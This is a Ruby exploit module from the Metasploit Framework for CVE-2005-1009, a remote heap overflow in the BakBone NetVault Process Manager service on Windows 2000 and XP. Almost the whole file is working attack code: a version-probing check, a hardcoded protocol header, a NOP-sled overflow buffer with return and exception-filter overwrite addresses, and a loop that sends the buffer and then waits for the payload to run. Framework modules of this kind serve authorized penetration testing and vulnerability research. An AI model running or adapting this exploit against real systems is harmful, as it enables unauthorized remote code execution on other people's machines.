160 lines
4.6 KiB
Ruby
160 lines
4.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BakBone NetVault Remote Heap Overflow',
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'Description' => %q{
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This module exploits a heap overflow in the BakBone NetVault
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Process Manager service. This code is a direct port of the netvault.c
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code written by nolimit and BuzzDee.
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},
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'Author' => [ 'hdm', '<nolimit.bugtraq[at]ri0tnet.net>' ],
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'References' =>
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[
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['CVE', '2005-1009'],
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['OSVDB', '15234'],
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['BID', '12967'],
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],
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x20",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows 2000 SP4 English', { 'Ret' => 0x75036d7e, 'UEF' => 0x7c54144c } ],
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['Windows XP SP0/SP1 English', { 'Ret' => 0x7c369bbd, 'UEF' => 0x77ed73b4 } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Apr 01 2005'
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))
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register_options(
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[
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Opt::RPORT(20031)
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], self.class)
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end
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def check
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connect
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hname = "METASPLOIT"
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probe =
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"\xc9\x00\x00\x00\x01\xcb\x22\x77\xc9\x17\x00\x00\x00\x69\x3b\x69" +
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"\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69" +
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"\x3b\x73\x3b\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00" +
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00" +
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"\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00" +
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[ hname.length + 1 ].pack('V') + hname + "\x00"
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probe += "\x00" * (201 - probe.length)
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sock.put(probe)
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res = sock.get_once(1, 10)
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off = (res || '').index("NVBuild")
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if off
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off += 21
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ver = res[off + 4, res[off, 4].unpack('V')[0]].to_i
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if ver > 0
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print_status("Detected NetVault Build #{ver}")
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return Exploit::CheckCode::Detected
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end
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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print_status("Trying target #{target.name}...")
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head =
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"\x00\x00\x02\x01\x00\x00\x00\x8f\xd0\xf0\xca\x0b\x00\x00\x00\x69" +
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"\x3b\x62\x3b\x6f\x3b\x6f\x3b\x7a\x3b\x00\x11\x57\x3c\x42\x00\x01" +
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"\xb9\xf9\xa2\xc8\x00\x00\x00\x00\x03\x00\x00\x00\x00\x01\xa5\x97" +
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"\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x10" +
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"\x02\x4e\x3f\xac\x14\xcc\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" +
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"\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00" +
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"\x00\x10\x02\x4e\x3f\xc0\xa8\xea\xeb\x00\x00\x00\x00\x00\x00\x00" +
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
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"\x00\x01\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20" +
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"\x00\x00\x00\x10\x02\x4e\x3f\xc2\x97\x2c\xd3\x00\x00\x00\x00\x00" +
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
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"\x00\x00\x00\xb9\xf9\xa2\xc8\x02\x02\x00\x00\x00\xa5\x97\xf0\xca" +
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"\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x04\x02\x4e" +
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"\x3f\xac\x14\xcc\x0a\xb0\xfc\xe2\x00\x00\x00\x00\x00\xec\xfa\x8e" +
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"\x01\xa4\x6b\x41\x00\xe4\xfa\x8e\x01\xff\xff\xff\xff\x01\x02"
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pattern = make_nops(39947) + "\x00\x00\x00"
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p = payload.encoded
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pattern[0, head.length] = head
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pattern[32790, 2] = "\xeb\x0a"
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pattern[32792, 4] = [ target.ret ].pack('V')
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pattern[32796, 4] = [ target['UEF'] ].pack('V')
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pattern[32800, p.length] = p
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sent = 0
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try = 0
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15.times {
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try += 1
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connect
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sent = sock.put(pattern)
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disconnect
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break if sent == pattern.length
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}
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if (try == 15)
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print_error("Could not write full packet to server.")
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return
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end
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print_status("Overflow request sent, sleeping fo four seconds (#{try} tries)")
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select(nil,nil,nil,4)
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print_status("Attempting to trigger memory overwrite by reconnecting...")
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begin
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10.times { |x|
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connect
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sock.put(pattern)
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print_status(" Completed connection #{x}")
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sock.get_once(1, 1)
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disconnect
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}
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rescue
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end
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print_status("Waiting for payload to execute...")
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handler
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disconnect
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end
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def wfs_delay
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5
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end
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end
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